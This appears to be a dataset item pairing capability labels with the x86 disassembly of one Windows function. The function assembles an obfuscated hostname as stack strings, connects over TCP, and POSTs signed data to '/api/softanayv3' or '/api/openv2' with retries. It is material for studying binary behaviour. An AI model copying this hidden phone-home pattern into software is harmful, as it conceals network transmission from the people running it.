Function at 0x41d63d
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Contain obfuscated stackstrings
Create tcp socket
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4df36c
mov eax, dword fs:[0]
push eax
mov eax, 0x21a4
call fcn.004be980
mov eax, dword [0x513720]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x21ac], ecx
mov esi, dword [ebp + 8]
xor ecx, ecx
push 0xf
pop eax
mov dword [ebp - 0x2160], ecx
mov dword [ebp - 0x215c], ecx
mov dword [ebp - 0x21a8], esi
mov dword [ebp - 0x215c], eax
mov dword [ebp - 0x2160], ecx
mov byte [ebp - 0x2170], cl
mov dword [ebp - 4], ecx
mov dword [ebp - 0x217c], ecx
mov dword [ebp - 0x2178], ecx
mov dword [ebp - 0x2178], eax
mov dword [ebp - 0x217c], ecx
mov byte [ebp - 0x218c], cl
mov byte [ebp - 4], 1
mov ebx, ecx
mov edi, 0x12c
cmp dword [ebp - 0x215c], 0x10
lea eax, [ebp - 0x2170]
mov dword [ebp - 0x2160], ecx
cmovae eax, dword [ebp - 0x2170]
push esi
mov byte [eax], cl
lea eax, [ebp - 0x218c]
cmp dword [ebp - 0x2178], 0x10
mov dword [ebp - 0x217c], ecx
cmovae eax, dword [ebp - 0x218c]
mov byte [eax], cl
call fcn.00401241
pop ecx
push eax
push esi
lea ecx, [ebp - 0x2170]
call fcn.00401a20
xor eax, eax
mov dword [ebp - 0x28], 0x2e697061
push 0x7f
push eax
mov byte [ebp - 0x158], al
lea eax, [ebp - 0x157]
push eax
mov dword [ebp - 0x24], 0x7a696162
mov dword [ebp - 0x20], 0x632e7568
mov word [ebp - 0x1c], 0x63
call fcn.004be330
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x158]
push 0x80
push eax
call fcn.004bb363
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x21a0], eax
test eax, eax
jne 0x41d787
push edi
inc ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x41da8b
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x41dab2
xor eax, eax
lea edi, [ebp - 0x219a]
stosd dword es:[edi], eax
push 2
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
pop eax
push 0x50
mov word [ebp - 0x219c], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x219a], ax
mov eax, dword [ebp - 0x21a0]
push 0x10
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x2198], eax
lea eax, [ebp - 0x219c]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jns 0x41d7fc
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
mov edi, 0x12c
jmp 0x41da7d
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
lea eax, [ebp - 0x2174]
push 4
push eax
push 0x1005
push 0xffff
push esi
mov dword [ebp - 0x2174], 0xbb8
call edi
push 4
lea eax, [ebp - 0x2174]
push eax
push 0x1006
push 0xffff
push esi
call edi
cmp dword [ebp + 0xc], 0
mov dword [ebp - 0x21a0], str._api_softanayv3
jle 0x41d8a3
push 0x7f
lea eax, [ebp - 0xd7]
mov dword [ebp - 0x21a0], str._api_openv2
push 0
push eax
mov byte [ebp - 0xd8], 0
call fcn.004be330
add esp, 0xc
lea eax, [ebp - 0xd8]
push dword [ebp + 0xc]
push str.type_d
push eax
call fcn.0041de64
add esp, 0xc
lea eax, [ebp - 0xd8]
push eax
call fcn.00401241
pop ecx
push eax
lea eax, [ebp - 0xd8]
push eax
lea ecx, [ebp - 0x2170]
call fcn.0040531a
push 8
xor edx, edx
mov dword [ebp - 0x30], 0x75744e58
pop ecx
xor eax, eax
mov byte [ebp - 0x54], dl
cmp dword [ebp - 0x215c], 0x10
lea edi, [ebp - 0x53]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x30]
mov word [ebp - 0x2c], 0x4e52
push ecx
lea ecx, [ebp - 0x54]
mov byte [ebp - 0x2a], dl
lea eax, [ebp - 0x2170]
mov dword [ebp - 0x18], 0x67697326
cmovae eax, dword [ebp - 0x2170]
push ecx
mov ecx, dword [ebp - 0x21ac]
push eax
mov word [ebp - 0x14], 0x3d
call fcn.0041dcd2
lea eax, [ebp - 0x18]
push eax
call fcn.00401241
pop ecx
push eax
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x2170]
call fcn.0040531a
lea eax, [ebp - 0x54]
push eax
call fcn.00401241
pop ecx
push eax
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x2170]
call fcn.0040531a
cmp dword [ebp - 0x215c], 0x10
lea ecx, [ebp - 0x2170]
lea edx, [ebp - 0x21a4]
cmovae ecx, dword [ebp - 0x2170]
call fcn.00422790
push 0x1fff
lea eax, [ebp - 0x2157]
mov byte [ebp - 0x2158], 0
push 0
push eax
call fcn.004be330
mov edi, dword [ebp - 0x21a4]
add esp, 0xc
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41d972
sub ecx, edx
lea eax, [ebp - 0x158]
push ecx
push eax
push dword [ebp - 0x21a0]
lea eax, [ebp - 0x2158]
push str.POST__s_HTTP_1.1_r_nHost:__s__r_nContent_Length:__d__r_nConnection:close_r_nAccept_Language:_zh_cn_r_nCache_Conbtrol:no_cache_r_nContent_Type:application_x_www_form_urlencoded_r_n_r_n
push eax
call fcn.00416146
add esp, 0x14
lea eax, [ebp - 0x2158]
push eax
call fcn.00401241
pop ecx
push eax
lea eax, [ebp - 0x2158]
push eax
lea ecx, [ebp - 0x218c]
call fcn.00401a20
push edi
call fcn.00401241
pop ecx
push eax
push edi
lea ecx, [ebp - 0x218c]
call fcn.0040531a
push 0x4fe738
call fcn.00401241
pop ecx
push eax
push 0x4fe738
lea ecx, [ebp - 0x218c]
call fcn.0040531a
push edi
call fcn.004bb670
test edi, edi
mov eax, 0x8123
pop ecx
cmovne edi, eax
mov dword [ebp - 0x21a4], edi
mov edi, 0x12c
cmp dword [ebp - 0x2178], 0x10
lea eax, [ebp - 0x218c]
push 0
push dword [ebp - 0x217c]
cmovae eax, dword [ebp - 0x218c]
push eax
push esi
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x41da76
cmp ebx, 5
jg 0x41daad
push 0x2000
lea eax, [ebp - 0x2158]
push 0
push eax
call fcn.004be330
add esp, 0xc
lea eax, [ebp - 0x2158]
push 0
push 0x1000
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
push esi
test eax, eax
jg 0x41da97
call dword [sym.imp.WS2_32.dll_closesocket]
push edi
inc ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x41da09
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
push edi
inc ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [ebp - 0x21a8]
cmp ebx, 0xa
jg 0x41daad
xor ecx, ecx
jmp 0x41d6cd
call dword [sym.imp.WS2_32.dll_closesocket]
lea eax, [ebp - 0x2158]
push eax
call fcn.0041daf9
mov esi, eax
jmp 0x41dab4
or esi, 0xffffffff
jmp 0x41dab4
xor esi, esi
xor ebx, ebx
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x218c]
push ebx
push 1
call fcn.004019c4
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2170]
push ebx
push 1
call fcn.004019c4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004b923d
mov esp, ebp
pop ebp
ret 8